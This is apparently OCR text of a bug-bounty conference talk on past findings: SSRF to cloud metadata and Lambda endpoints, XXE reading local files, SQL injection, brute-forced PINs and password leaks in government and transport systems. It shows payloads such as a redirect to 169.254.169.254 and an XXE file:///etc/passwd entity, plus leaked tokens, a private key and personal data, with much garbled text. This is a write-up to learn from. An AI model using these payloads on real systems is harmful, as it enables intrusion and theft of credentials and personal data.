def key_pressed(key):
print(f"{key} pressed")

# Create the main window
root = tk.Tk()
root.title("Simple Keyboard")

Pwn d in
Style: The
FFlashiest
Hacks of All
Time

u u
pos t Iv # Create buttons for keys
E : keys = [IQI, IWI' IEI, IRI, ITI, IYI, IUI, Ill, IOI, IPI]

Cairo in the following keys:

button = tk.Button(root, text=key, width=5,
IJHE :@ H: H:i g command=lambda k=key: key_pressed(k))
button.pack(side=tk.LEFT)
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Whoami

Bug Bounty Hunter at Synack Red Team
Synack Red Team Legend
Founder of Security BSides Ahmedabad

Advisor at

Speaker at Defcon USA, Blackhat Saudi, RSA USA,
GISEC Dubai, PT Hack Talk Vietham, among others

Twitter: @niksthehacker
Instagram: imniksri


http://riskprofiler.io/
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A Decade in Bug Bounty
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e =talalz) SHEE SPP+ Targets
Found Hacked +EM
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Hacking Al-Powered Pen testing Platform

3 A
lEnp | | EnD |
= -
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Hacking Al-Powered Pen testing Platform
» Bug Hunting on Al Powered Pen testing Platform

» The tool takes the URL, run the scans and create vulnerability
report

» The report create a video POC of vulnerabilities
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Web Applications

Get an overview of your web applications.

+ New Web Application

00
n
il

ACROPOLIS.SYNACK.COM B - ALL IN ONE TEST [ 67 P
£ Synack Acropotis uctees  Artemis  Envoy  Legends & Not Verified & Not Verified

SYNACK

ACROPOLIS

This page isn't working

TRUST. HONOR. EXCELLENCE

qiofmecp.x1.pe didn’t

<.com = - com = -
ioogle sign-in has a new lock
A Not Verified Fo've Emprowed the Sign-in Sege With & mone modenn design A Not Verified

Synack is temporarily down for maintenance.

We’'ll be back up soon. Thanks for your patience.
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Hacking Al-Powered Pen testing Platform

> Instantly, | got an idea that hovw about scanning internal
networks

» A quick look, fFigured out; It was running on google cloud

» 50, thought to scan google metadata instead
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Hacking Al-Powered Pen testing Platform

NEW WEB APPLICATION

Name

Web address (including http:// or https

Default test mode

This sett ng can de C ]'l{:!"v;%i ater in your web application's
Authentication
r web appilication Is protected by a login page, enabile

tication and provide credentials for at least one test

hello

http://metadata.google.internal/computeMetadata/vi/intance/

-+

+ Create

Full Test

All tests in test suite,

It ) attacks

Requires DNS validation

With Authentication

The application is protected by a login

Q

Light Test

A light test is a full test without injection

Does not require DNS validation

L)

Without Authentication

10€S NOt require

Jiol
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Hacking Al-Powered Pen testing Platform

o gl&:’r{
403 in i |
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Hacking Al-Powered Pen testing Platform

» Google Cloud only allows access to metadata, IF
“Metadata-Flavor: Google” as Header been set.

> As a researcher, I've noticed that a common Feature in
vulnerability scanners is the ability to create custom
headers.

» Found this option under scanner settings.
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Hacking Al-Powered Pen testing Platform

Hostname of external login page (optional)

e en
Basic Username Basic Password
r juires Basic A t on
rovid | ind passw H

»de the credentials according to the RFC 7235 standa

Blacklisted hostnames HOSTNAME
f there are any specific hostnames that Heyhack should no
-..L.—----|.- ts t when conducting the t t please enter

sub.example.com +

Whitelisted hostnames HOSTNAME

c hostnames that you wish to include sub.example.com +

f there are any spec

n the scope of

Custom headers HEADER VALUE

Metadata-Flavor Google

+ ‘Er



posf
talks

Hacking Al-Powered Pen testing Platform

Penetration Test Video

Application Reports Fenetration Test Repaort Vidzo

{"access foken':"vadd. o, chAY VpZilSqFC

v aukah R R L a0 7 el BV B MAZ S R BOTLF DV abioe. LRUZSKTAK21EaF1 JEDBT.28 rn_TNrelas3ndd02 bl yend TopdlaL cODFb¥aledalENIIC poEne Y1548 1032 ] ahEBLOBYDF [ogsaalin
CETIINT Cqgiad_AYYVEgATET IavRa] Evahd ) alpTancilEnk- ]r.Fﬁzuﬁfuﬁﬂu.‘aTT:ﬁ.’lkT:rﬂ_{rI‘kl‘r w-al kT mdantL) LUWYg Sdmghi-os TWHyrFATdxVhP-

Iyt LWGy RS N T p3n I EEAAZALY PUYARTLED | T MFEFETZsaFLe LIndaTahb] Fug - Srevlr2aRndtLdnl{aInUZgee 100y 4 asoRi] eqolch rkednjuls3ine o dxivracBulgille

hjasetu T Fatkal vl g et PVl e AN TREAT NS Al A% chs tove TReE0- 0k buard 1 0 joki T pEne b s Lo Uty Pl kT hapew] Art FeShF R e 7101
DBEcITy ] VK EaR RV BZUUNRE] 26 20T WIRIZS0N0IMg S0 TEdIv 50 EVEGZapeEIxkEUnS ) cSERVIT Y hinLwiIavE Y FEB: THNT

T e e § e PR a0 Sy DT e fomdpsd ESUMITGR T v

Frigrd. 20THgvirteRFy iz 1BARY M S10weSwe bV a0n a0l pzhT T dlc T4 1ES1RaonL 3207 qe vkl S0EL ] OFhvihksnht-w

UIF JupLhia | YBFFrUekWa2rvts Sr0pSdtgaafry SelcnivekizabVlident TeraTOplgtdsgs Sdnv™, “explras in®:1053 “token typa!“Bearas )
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Hacking Al-Powered Pen testing Platform
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SSRF in Attack Surface Management

> Widely Used
> Microsoft Partner App
» Gartner Peer Ratings Customers Choice 2024
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SSRF in Attack Surface Management

» Application takes domain name as input
» Application starts recon for subdomains, IP address, certs etc.
> It also creates screenshot for parent domain too.

> ldea is to provide the parent page as SSRF metadata and try to
capture the screenshot of it via parent domain
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SSRF in Attack Surface Management

vae’_ @ My Domains + 5§ @ subdomains - 81K &, IP Addresses 312K & login URLs » 21 L, IPBlocks - 544 ¥ ASN Numbers » 4 [F) certificates - 555 @) DNSRecords -151K »

erand (N

—
- =
Think ond create
CIS CONTROLSIGAP Allin ane visuol workspace
recon I alnIs
— ——
Internet Inventory g | P
. ethic .com 5 fq9vyt3Sbwdc6emss89mqvbmjdp4d.. c .com (5
Attack Path Analysis . asvy avbrmicp - ;
test - Organization Domain: |
Reports View Details - View Details = View Details -
Total Assets Asset Criticality Total Assets Asset Criticality Total Assets Asset Criticality
n5 HIGH 0 HIGE 31652 CRITICAL
Scan Mode Domain Status Scan Mode Domain Status Scan Mode Domain Status
Activity Logs Active Mode Verified Passive Mode Passive Mode

Integrations
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SSRF in Attack Surface Management

Thought to put a domain name with redirect setup on index page for
e.g

<?
header( 'Location: http://169.254.169.254/1atest/user-data', true,

301);
();

7>
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SSRF in Attack Surface Management

Added the domain in internet inventory, but the no screenshot
captured

o0
=t Dashboard

&= subdomains - 8.1K L2, IP Addres
1 ot |

Attack Path aAnalysis

I Or e Cc
Reports

ssrf test

Wiew Deta —=

T N = Asse

O Hi

Passive Mode
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> After exploring further, | figured out they are not using
EC2 but Lambda

» Further looking for any internal API specific to Lambda
» Came across a tweet
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‘9 Spencer Gietzen
vy OOSpenGietz

Got RCE or SSRF inside an AWS Lambda function? Request
"localhost:9001/2018-06-01/runtime/invocation/next" for the function's
event data. Check the HTTP headers returned too! @RhinoSecurity

# curl https:// /lambda?website=localhost:9001/2018-06-01/runtime/invocation/next
"{'content-type': 'application/json', 'lambda-runtime-aws-request-i1d': '7c¢ -
9c4f6f523386', 'lambda-runtime-deadline-ms': *1565677837653 ", ‘*lambda-runtime-invoked-function-a
rn': 'arn:aws:lambda:us-west-2: :function: ‘', 'lambda-r
untime-trace-id': 'Root=1- f78; Parent=1c¢ ;Sampled=0",
‘date’': "Tue, 13 Aug 2019 ©06:30:34 GMT', ‘'content-length’': '1476'}"{"batch_submissions”": [{“"ssn"
: *B E®, "Xd™: *1%; *"Tirst_oname”™: *“Grata™; "last name™:
el@taobao.com", "gender": "Female", "ip_address": "1 o
ossing"”, "city": "Washington", "state": "District of Columbia",
://localhost:9001/2018-06-01/runtime/invocation/next"}, {"ssn":
name": "Cooper"”, "last_ - - "email": "“c

SSRF in Attack Surface Management
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SSRF in Attack Surface Management

Attempted the SSRF again and but again got same result

Dashboard

&= subdomains - 8.1K L2, IP Addres
1 ot |
I -Or (=] C
ssrf test
WViewvw Deta —=
T ~ = Asse
O Hi

Passive Mode
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SSRF In Attack Surface Management

> After some attempts, | figured out that, after couple of attempts
application starts giving cached images if same domain is used

» Attempted the SSRF again with different domain and got the event data
that was passed into the function for that current execution
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SSRF in Attack Surface Management

EventVersion":"1.0","EventSubscriptionAm":"arn:aws:sns:us-east-1:025720625341:Collect URL Screenshot:39fc 755-125f-464e-9080-f3b4d 1 281917, "Sns™{"Type""Notification”,"Messageld":"1 20661 d7-0649-5194-91b1-3f20406953f2", TopicArm " "arn:aws:sns:us-east-

\http/nikhilsriblogoverwrite.online\”, Vinitiated_from\": \"asset_managen", \"organization_id\": \"ccS5918e-¢ -c96e22dcezq2\", \"asset_type\”: \"my_domains\"}". Timestamp":"2024-06-
(v3FBact60YbHG+EUatrBsjuDQjVm2FRASidgMoySebft43itOgCsU2J4AqleEoX kNMADAS

pem”."UnsubscribeUrl":"httpsz//sns.us-

{"Records"[{"EventSource":"aws:sns
1:025720625341:CollectURLScreenshot”."Subject"null."Message™:"(\"url\":
27T10:50:08.373Z","SignatureVersion” Signature”:"l

[} .
east-1.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-1:025720625341 CollectURL Screenshot:39fc75f5-125f-464e-9080-f83b4d 128191, "MessageAttributes”:("_datadog™
ZGFOYWRvZy 10YWdzljogll9kZCSwLMRIPSOWLFIKZCSWLNRpZDO2NjdkNDNKZT

SigningCertUrl":"https//sns.us-east-1.amazonaws.com/SimpleNotificationService-

{"Type":"Binary™."Value":"ey)aLW
AwMDAWMDAWIiwWgINRYYWNIcC ="
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Admin Takeover — Airport Security E-Services

@

System that issues App generates link with cid remains same, only
permissions to enter airport username & cid parameter Username changes
After login

(including govt, semi govt or private)
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Admin Takeover — Airport Security E-Services

5035 https/ GET 3?2u=RERDQVNNMQ%3D%3D&cC... v 200 10179
5037  https// GET I/Scripts/jquery.unobtrusive-ajax.min.js 200 3202
5038  https#/ GET I/Scripts/iquery-ui-1.9.0.custom.min.js 200 236304
5039 htips// GET I/Scripts/jquery.validate.js 200 51168
5040  htips// GET IScripts/iMicrosofiMvcAjax.js 200 6333
5041  https/ GET I/Scripts/MicrosoftAjax.js 200 101548
5042  https:#/ GET I/Scripts/MicrosoftMvcValidation.js 200 13982
= =
Request Response
Pretly igEWYy n Actions v MWl Raw Render n Actions v
1 {GELY senys Pu=RERDQVNNMQ%30%3D&cid= 1 HTTP/1.1 200 OK
MTgwMASS3D%3D HTTP/1.1 2 Cache-Control: private
2 Host: _ ) 2 Content-Type: texts/html: charset=utf-8
3 Cookie: S= 4|
333692938.47873.0000; TS0112b0ObOo= S Date: Mon., 20 Feb 2023 18:46:48 GMT

0104e2960b40e97d743c24b05b42d2f44c0c74e4c96e198al f86d8d97dc96 Connection: close

478d61feeS55f6b23877efcldc342bcdl1d13898401delfe498bbe066e3ce47 7 Content-Length: 9402
f6d08219cccfB655ch01238c357a5a9ddle2b624ela657ebaa26d9d718a705 8 Set-Cookie: TS0112bOb0=0104e2960b40e97d743c24b0Sh42d2f44c0c74
651d7a794442afd22fSad4balsS4f6803a8b750caf62311fa7b38749099dc7 9 Set-Cookie: TSaaf909d8027=088d85249bab2000b282bbdffd947663dc2
33c8clc4dbdc4dSc71d449d; TSaafo09d8027= 10
088d85249bab200002279b9e9d9431 70f95ha3da7473056e8547e11d082a7 11
eae7ebd3583a6ddb791084b2659c811300029f9df134T27795c4de 414070 12 <!DOCTYPE html>
c2928349ad7754645eba8fSedf024adf952d0b 7531 3cae2a9d0392055b 825 3 <!--[if 1t IE 71> <html class="no-js 1t-ie9 1t-ie8 1lt-ie
fde3de609; culture=en&lang=en: 14 | <!--[if IE 7]> <html class="no-js lt-ie9 1t-ie8"> <![
_ RequestVerificationToken_LOZyb250T2ZmaWN10= S|<!--[1if IE 8]> <html class="no-js 1t-ie9"> <![endif]-
j_4K1HNrJdgE_nDIFNOx6qtoEpc4D27MoEI6xf1lQUpUkzs - 4Py3h26ttroPTI <!--[if gt IE 8l><!-->
NG2UdQWZ1i1CWDOLkbwokNM7nR_dOLGViqPcvhvRINAHrxTxhItyl1SP4vWSdmj <html class="no-js">
WK_tFgwESgdAohlx9yVX--_LSk-w2; ASP.NET_SessionId= <!--<![endif]-->
2wiSbostcrltfirzydlnaors <head>
4 User-Agent: Mozillars/5.0 (X11: Ubuntu; Linux x86_64; rv:109.0) <meta http-equiv="Content-Type" content="textshtml: chars
Gecko /20100101 Firefox/109.0 <link rel="icon" type="image/png" href=", :/Cont
S Accept: 2 <title>
text/html,application/xhtml+xml,application/xml;:q=0.9,image/a | -
vif,image/webp,*/*;:q=0.8 </title>
S Accept-Language: en-US,en:q=0.5 23
7 Accept-Encoding: gzip, deflate 24 <link href="/ /Content/NewUI/bootstrap.css” rel:
8 Referer: 25 <link href="/ /Content/NewUI/common.css" rel="s

I : /en/Account/LogO
n
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Admin Takeover — Airport Security E-Services

Welcome mahboob, AMIN Logout P |
Home FAQs User Messages
S Back to Home Manuals -
At Downloads

— Users Management

Companies Registratio

Search:

o= Create New

User Name Full Name Job Title
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XXE in Germany Based Public Transport App

» Bug Hunting on a German Public Transport App
» While modifying profile, found application sending some base64 encoded data

> After decoding, found some XML Data transmitting to server
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XXE in Germany Based Public Transport App

= Change my data
ovVvV =
Mr -
Sri
nik
19.07.1987
Street N.

Postcode City

Country -
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XXE in Germany Based Public Transport App

The request:

610 https://wv POST /portals/dataportal v 200 1178 XML
615 https://wv POST /portals/dataportal v 200 1178 XML %
LA T .

'Request| Response |
"RawlParamer Headers LHex \

POST /portals/dataportal HTTP/1.1
Content-Length: 1641
Content-Type: text/plain; charset=UTF-8

Host: www.
Connection: close send the highlighted data
User-Agent: Dalvik/2.1.0 (Linux; U; Android Build/MRA58K) to decoder

062.6.26#PG12ZXJ2aWNIUMVxdWVzdCByZXNwb252ZUVUY29kaW5nPS JVVE YtOCIgdmVyc2ivbjOiMidwL |l Pjxwb3J0YWwgbmFtZ T0iaGFuZHIQb3JOYWwilHRyaWdnZ XJUaW1IPSIxOS 4why4yMDE4IDIwO|U21iB2Z
XJzaW9uPS|1LjcuMSI+PGRhdGEVPjwveGIydGFsPjxkZXZpY2Ugb3NWZXJzaWSuPSI2LjAIlGVAdGVybmFsVmVyc2ivbj0iMi42LjI21iBKZXZpY2VJZD0iMzU4MjQwMDUAMZzAYNTQAIIBKZXZ pY2VUeXAIIKFuZHvaWQi
IGFwoFZIcnNpb243IjluNidyNilgZGV2aWNITmFtZ T0iaGFtbW VyaGVhZ CAvIESIeHVZIDUIIGFweEShbWU9IkhhbmR5VGlja2 VOIERIAXRZY2hs YWS5KIi8 +PHByb2NIc3NIcz48cHJvY2VzeyBhY3Q9ImdibmVyaWMuQ2hhbm
dIVXNIckRhdGFQemajZXNzliBleHRIcm5hbFZIcnNpb2491j uNidyNilgY XBwVmVyc2Ivbj0iMi42Lj|2iBpZD0icHJvYZAXIBS YW5nPSJibil+PGIKZWS0PjxhbGlhcz5hNzViMmYyMmMzNTIONWM2NDViMTU1 ODFINGMxZWM
KM2WVYWxpYXM+PHNjb2RIHREcGUIjliPjk1Njg4YmE2M2zZhNDey MGE4NWIZNjMOYWNmMZWMA4Y2RKPCIzY29KZ T48L 2IkZWS0PjxkY XRhPJXnZXRVC2VyRGFOY S8 +PCIKY XRhPWVCHJIVY2Vzcz48cHIVY2VzoyBhY
3Q9IndIYISNYWS5hZ2VOZXdzUHJvY2VzeylgaWQsim1 ucClgbGFuZz0iZWAIPxpZGVudDA8YWspYXM-+YTe1 YjJmMjJjMzUyNDV)N)Q1 YE1NTgxY]R]MWVjMTMBL2F saWF zPjxzY29kZ SB0eXBIPSIwlj48L3Njb2RIPjwva
WRIbnQ+PGRhdGE+PGFsaWFzPmE3NWIyZjlyYzM1MjQ1YzYONWIXNTU4MWIOYzFIYzEzPCShbGlhcz48L 2RhdGE +PCIwemjZXNzPjxwemgjZXNzIGFjdD0iZ2VuZXJpYy5TeWsjVGlja2 VOU3RvemYQem9bZXNzIiB
pZD0ic3RzIiBSYWS5nPSJIbil+PGIkZW50PjxhbGlhczEhNzViMmYyMmMzNTIONWM2NDVIMTU1 ODFINGMxZWMXMzwvYWxpYXM+PHNjb2RIHRE cGUSljAIPwve2NvZGU+PCIpZGVudDA8ZGFOYT48L 2RhdGE+PCow

IBoZD0iZ3R21IBsYWSHnP bil+PGIkZ\WS0PIxhbGlh hNZVIMmMYvMmMZNTIONWM2 NDVi ODEING MxZ W MxMzwvYWWXDY XM |

m9iZXNzPixwem9iZ XN idDOj XJo X.Jo nNDB25Qcm9BZ XN
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Decode to Get XML Request

3lhcz48c2NvZGUgdHIWZTOIMCI+PC9zY29kZT48L 2IkZW50PjxkY XRhPjxnZXRWZXJzaW9ulGt2¢EIkPSI12MDczli8+PCIKYXRhPjwvcHJIVY2Vzcz48L 3Byb2NIc3NIcz48L. 21zZXJ2aWNIUmMVxdWVzdD4=

v

J»

<mserviceRequest responseEncoding="UTF-8" version="2.0.2"><portal name="| i " triggerTime="19.07.2018 16:58" version="5.7.1"><data/></portal><device osVersion="6.0" externalVersior
type="2">95688ba636a4720a85b3634acfec8cdd</scode></ident><data><setUserData><anrede>nik</anrede><name>sri</name><vorname>nik</vorname><birthDate>1987-07-19</birthDate><bez>
act="web.ManageNewsProcess" id="mnp" lang="en"><ident><alias>a75b2f22c35245c645b15581b4c1ec13</alias><scode type="0"></scode></ident><data><alias>a75b2f22c35245¢c645b15581b4c
type="0"></scode></ident><data><getVersion kvpld="6073"/></data></process></processes></mserviceRequest>




posf
talks

XXE in Germany Based Public Transport App

XXE Payload inclusion

l<?xml version="1.0" encoding="UTF-8"?><IDOCTYPE aa[<IELEMENT bb ANY><IENTITY xxe SYSTEM "file:///etc/passwd">]><mserviceRequest responseEncoding="UTF-8" version="2.0.2"><portal 1

appVersion="2.6.26" id="proc01" lang="en"><ident><alias>a75b2f22¢35245c645b15581b4c1ec13</alias><scode
type="2">95688ba636a4720a85b3634acfec8cdd</scode></ident><data><setUserData><anrede>&xxe;</anrede><name>sri</name><vorname>nik</vorname><birthDate>1987-07-19</birthDate><bs¢
act="web.ManageNewsProcess" id="mnp" lang="en"><ident><alias>a75b2f22c¢35245c645b15581b4c1ec13</alias><scode type="0"></scode></ident><data><alias>a75b2f22c35245c645b15581b4:

type="0"></scode></ident><data><getVersion kvpld="6073"/></data></process></processes></mserviceRequest>

RS

EAS

T;lhcz4802NvZGUgdHthT OIMCI+PC9zY29kZT48L 2IkZW50PjxkY XRhPjxnZXRWZXJzaW9ulGt2cEIkPSI2MDczli8+PCOkYXRhPjwvcHJVY2Vzcz48L 3Byb2NIc3NIcz48L.212ZX J2aWNIUmMVxdWVzdD4=
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JRaw Pér;ms 7Headersr|'Hexr

Raw | Headers lﬁgx IS(ME

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5 Build/MRAS8K)

062.6.26#PD94bWwgdmVyc2Ivbj0iMS4wliBIbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZUEUgYWFbPCFFT
EVNRUSUIGJIIEFOWT48IUVOVEIUWSB4eGUgU1 ITVEVNICImaWxIOi8vL2V0Yy9zc2gve3NoX2hve3Rfc
NNhX2tleSI+XT48bXNlcnZpY2VSZXF1ZXNOIHJIc3BvbnNIRWS5jb2Rpbmc9lIVURIO41iB2ZXJzaW9uPSIyL j
AuMil+PHBvenRhbCBuYW1IPSJoYW5keVBvenRhbClgdHJpZ 2dIciRpbWUSIESLJASL|IwWMTggMTYENTgIl
HZIcnNpb2491jUuNy4x1j48ZGFOYS8+PCOwb3J0YWw+PGRIAmMIZSBvc1ZIcnNpb2491)YuMCIgZXh0ZXJu
YWxXWZXJzaWOuPSIyLjYuMjYilGRIdMIjZUIkPSIzNTgyNDAwWNTgzMDI1NDgilGRIdmMIJZVR5cD0iQWS5Skem
9pZClgYXBwVmVyc2IvbjOiMi42LjI21iBKZXZpY2VOYW1IPSJoYW1tZXJoZWFkIC8gTmV4dXMgNSIgYXB
wTmFtZTOISGFuZHIUaWNrZXQgRGV1dHNjaGxhbmQilLz48cHJvY2Vzc2VzPjxwem9jZXNzIGFjdD0iZ2Vu
ZXJIpYy5DaGFuzZ2VVe2VyRGFOYVByb2NIc3MilGV4dGVybmFsVmVyc2IivbjoiMi42Ljl21iBhcHBWZXJzaW
9uPSIyLjYuMjYilGIkPSJwecm9jMDEiIGxhbmcSImVulj48aWRIbnQ+PGFsaWFzPmE3NWIyZjlyYzM1 MjQ1
YZYONWIXNTU4MWIOYzFIYzEzPC9hbGlhcz48c2NvZGUgdHIWZTOiMil+OTU20DhiYTYZNMEONzIwYTg1
YiM2MzRhY2Z1YzhjZGQ8L3Njb2RIPjwvaWRIbnQ+PGRhAGE+PHNIdFVzZXJEYXRhPjxhbnJIZGU+Jnh4Z
Ts8L2FucmVkZT48bmFtZTSzemk8L25hbWU+PHZvemShbWU+bmIrPC92b3JuYW1IPjxiaXJOaERhdGU+
MTk4NyOWNyOxOTwvYmlydGhEYXRIPjxiZXo+PHByZXBhaWQvPwvYmVEPjxhZHJIc3M+PGNpdHk+YWh
tPC9jaXR5Pjxwb3NOYWxDb2RIPiM4MDAWOTwvcG9zdGFsQ29kZT48c3RyZWVOPNRIC3Q8L3NOcmVId
D48aG91¢c2VOci8+PGFkZEIUZm8vPjxjb3VudHJ5PKkSMPCIjb3VudHJSPiwvYWRYZXNzPjxIbWFpbD5wb3
NObWFzdGVyQGhhbmR5dGlja2VOLmRIPCOIbWFpbD48Y29udHJVbE1IZGIhPjxjbUS1bWJIcj4xMjMONTY
30DkwPC9jbU51bWJIcj48Y21UeXBIPktNXOVDXO0ISL2NtVHIWZT48Y21 EYXRIPjIwMjItMTItMZESL2NtRG
FOZT48L2NvbnRyb2xNZWRpYT48L3NIdFVzZXJEYXRhPwWvZGF0OYT48L3Byb2NIc3M+PHByb2NIc3MgY
WNOPSJ3ZWIUTWFuYWdITmV3c1Byb2NIc3MilGIkPSJtbnAilGxhbme9ImVuljd8aWRIbnQ+PGFsaWFzP
mME3NWIyZjlyYzM1MjQ1YzYONWIXNTU4MWI0YzFIYZEZPCI9hbGlhcz48c2NvZGUgdHIWZTOIMCI+PC9zY
29kZT48L2IkZWS50PjxkYXRhPjxhbGlhczEhNzViMmYyMmMzNTIONWM2NDVIMTU1ODFINGMxZWMxMz
wWWYWxpYXM+PCOKYXRhPjwvcHJIVY2Vzcz48cHJIvY2VzeyBhY3Q9ImdibmVyaWMuU3IluY1RpY2tIdFNOb3
JIUHJvemVzeylgaWQ9InNOcylgbGFuZz0iZW4iPjxpZGVudD48 YWxpYXM+YTc1YjJmMjJiMzUyNDV]NjQ1
YIE1NTgXYjRjMWVjMTM8L2FsaWFzPjxzY29kZSB0eXBIPSIwlj48L3N|b2RIPjwaWRIbnQ+PGRhdGE+P
COkYXRhPjwvcHJIVY2Vzcz48cHJIVY2VzeyBhY3Q9ImdibmVyaWMuVGFyaWZWZ XJzaW9uUHJvemVzeyl
gaWQ9Imd0dilgbGFuZz0iZW4iPjxpZGVudD48 YWxpYXM+YTc1YjJmMjJjMzUyNDV)NjQ1YJE1NTgxYRjM

<?xml version="1.0" encoding="UTF-8"?>
<mserviceResponse><processes><process id="proc01"><changeUserDataResponse>

<userData>

<anrede>-—--BEGIN RSA PRIVATE KEY--—

MIIEpQIBAAKCAQEATjf/17/junBAGHDVw8hMal/NpBJocMgEqx4lpV1mJ45tGJRR
BMcR3Ili6XoiCCVINnG+fM5JQUOobLypNvPghkOUWilhnjRMaCN/NM+tC905DCmm4A
pWqA/fcN14jv313rDshLaQufNsRIyvIS/ESZXg0iC1mP1m4R6WhIEnJhiQtKla2p
pT8NEuuHOX02RU2L0C52am1W2yDJtsxtOjQ+FQLO/vPZDWwiclDh469IcSMIHVdX

19

woBS499iSCZ0cabVcpFTNGx86GRFgZPpRZZY//qN3a658HVuuSWhsnMpF8j6p7BiM
vjTYsG7BAoGBAOSjV777705B17Y19vVnXIIOp+y5p3ApnQx0Zr3TrmjbJQQgaNSK
Zt/8ghY6IYRfywHBth745MFa92s0iK+cUYob5I83LMR1NyximQXnfbyEWmdu1uNJ
IKhxrkBfIPHun8fUrpJ6WO04/pFCSrmIwWSLZsSHiIR+VF7U+5TBxm9YzRA0GBAMMR

)
|
‘ - - - -
w+JayQiQdvtDHOorYe8Mi7mqpLQiTIS77X+HHR7jrUgmNIg1trfdMS6gcXLHLvse
1zwhLYKAZrgRYCwWPIF7hno4RA0GAC7f/INxQeFWASI3sSdcT++Uf7ThbSJQ2AKGVIn
vSBSCRZhJPRUxxbRB4SpLT9hjbsKrliOANnVKGZXRxRVt62fvliZpgGTpjery5pPg
A4qMWDIZm7MECKqKyq8Yfx/pCAGW3ilRvi4ctAfWKIOOdChZOWX3YykHedDqwDao
PFQNzDKCgYEAzpHbzWGQrTpOJK4IcIRZKMxb80R7q+dnZRigNQ1c1HXMVFwWZP9/K
py/Aco/VBm4vs5TZCgE+WI4wuXkABHOEmMsBq1616YBzVn/ouMsEQgmeVxCAFqYwO0
JKKfUQvnWzthC/oYkgNOYAPq+BtTUuuktbgOtDmfpQ7kHe3PGcEy/g=
--—-END RSA PRIVATE KEY—-—
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XXE in Germany Based Public Transport App

= DID: somnonvsnv
&\og .

/
FREE TIGI(ETS”
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Account Takeover in Federal Systems

Prison Systems

DOC ID:

PIN:
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Account Takeover in Federal Systems

Prison Systems

Google Image Search for doclD

S@ch results include offender
Click the DOC ID link to select

DOC ID

Last Name First Nam

Smuith Larmmy
158 Smith Michael
161 Smith Laderrel
164 Smith Michael
a7 Speakman Michael
17, Smith Michael
184 Henson Michael

Smith Michael

-
0

Biggs Michael
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Prison Systems

From FAQ got to know, PIN is 4 digit

Will discharged offenders be able to access the IVR System, and website for account inquiry information?

Yes. Discharged offenders will be able to access the IVR system and website for account inquiry information by using their PIN (last four digits of their SSN) for up to one
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Prison Systems

Brute-force the SSN and Account Takeover

My AAcCccount

MName: LA I'TH
DOC 1D LSO i
Current Intervention Fee Balance is: HO.00
Past Intervention Fee Balance is: $135.90
Total Balance Due is: H13I5.90 | Pay Now
Update Email: || ]| vwpaare |
(eypre in your @eamail address - optional)

(Click on fese type for details)

Current Program Fees

Mo records found.

Past Due Program Fees

EEE TYEPE START DATE END DATE BALANCE DUE
DO C O03/29/2013 OL/1a4/2015 HO. 00
DOC oZ2/MO7F 2011 0sf25/2011 HO.00
LW [al=1 byl —alelatelal R AT i =i Tale el L = e T Y
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Account Takeover in Federal Systems

Childcare System

« After doing subdomain enumeration and directories discoveries
« Came across childcare system

Existing child care providers,
enter your ID and password to sign in.

ID (DVN) 000271629|

Password | |

New User Forgot Your Password?
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Childcare System

* DVN ID was unknown, Google image search ftw
 Got DVN ID in licenses

e e et o %t v sy =
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Account Takeover in Federal Systems

Childcare System

* Requested forget password using DVN ID
« To my surprise password was generated and been sent to email
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Dashboard | Target | Pri Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options
S

HTTP history | WebSockets history | Options

Filter: Hiding CSS, image and general binary content @
# 4 | Host | Method | URL | Params | Edited |Status |Length | MIME type | Extension | Title | Comment 1=
IIo... TIPSCUILSyTuCatornCW T, O T FOTTIETTIEy PTUNTETT: =—Twrir.cd-.- - g o SCTPT 3
118... https:Jfcdn.syndication.twim... GET eline/profile?callback=__twttr.ca... v 200 200 script

118... https:/fcdn.syndication.twim... GET ftimeline/profile?callback=__twttr.ca... e 200 924 script

118... https:/edn.syndication.twim... GET Jtimeline/profile?callback=__twttr.ca... v 200 900 script

118... https:fedn.syndication.twim... GET ftimeline/profile?callback=__twttr.ca... v 200 900 script

118... https:/fedn.syndication.twim... GET ftimeline/profile?callback=__twttr.ca... v 200 200 script

118... https:yfedn.syndication.twim... GET Jtimeline/profile?callback=__twttr.ca... v 200 924 script

118... https:/fapps. POST v 200 4416 HTML Forgot Password

118... https://fapps. - POST - v 200 4416 HTML Forgot Password

118... https:/fad.wappalyzer.com POST floghwp/ -/ 204 142 text =
11\8_ https://ad.wappalyzer.com POST Hogfwp/ b 204 142 text X
- L

Request | Response

Raw | Params THeaders Hex

Uﬁgrade-

hd_ServerResult=PASSWORDFOUND&hd_NextQueryString=
L l&hd_email=

Insecure-Requests: 1

>

ForgotPassword.asp&hd_CoolServerResult=PASSWORDFOUND&hd_ActionCommand=FORGOTPASSWORD&hd _userId=000271629&hd_password=".

P1S
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Childcare System

Sign Off

(] DO0ET1629
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Crime Reporting Portal

Go gle site:1 gov intext:Password Description X & Q
« Just searching for “site:sitename.gov .
intext:password” gov» domsite
- Comes up with all pages that has r g s oo Agwroy o (NN o oo

Password Description: Let me ...

password description as field

Lgov » domsite »

User Registration Form
Middle Initial: Last Mame: Cheek. Agency ORI: . Phone Number: . .E-
Password Description: note taking.
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Crime Reporting Portal

< Cc @ .gov

#¥ Most Visited @ Centos @ Wiki @ Documentation @ Forums @ Amazon Workspaces @ Getting Started @) Amazon Linux @) Streaming @) Forums @ Amazon WorkDocs

These gentlemen shared his password straight-away

User Registration Form

BEs7All Fields marked with o are
required
Mishon

[

First Name:
Middle Initial:
Last Name:
Agency ORI:
Phone Number:
E-mail:
Password
Description:

L=} “i Sy Sy €

_ '5@outlook.com
hannah12
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Crime Reporting Portal

eb&id=1184&ru=https://login.live.com/login.srf%3fid%3d1184%260pid%3d20D8DCBFDACO99F9%2 - % @ Ey E},

« Can confirm by login into his
— outlook account

Help us protect your account ° 2 FA Saved h] m

We've detected something unusual about this sign-
in. For example, you might be signing in from a new

ocaon,doves or 2 « But possibilities of re-using same

") Email de™™*" '‘@yahoo.com

— password elsewhere is endless.

7)1 don't have these any more
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Corporate Banking SQL Injection

* During bug bounty hunting, | was invited to join a private program for the largest bank.
« The scope was their corporate banking application
« After exploring a bit, | found that its running on a third-party application.

« The third-party app claimed to be used by over 70% of world's top bank
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Corporate Banking SQL Injection

« After testing multiple parameters for SQLi

« Found a "dir  parameter giving 500 internal server error while supplying single quote
» Further tested with Boolean and blind conditions

* Found its Boolean based blind, and DB is Oracle

« Used SQLMAP to dump DB

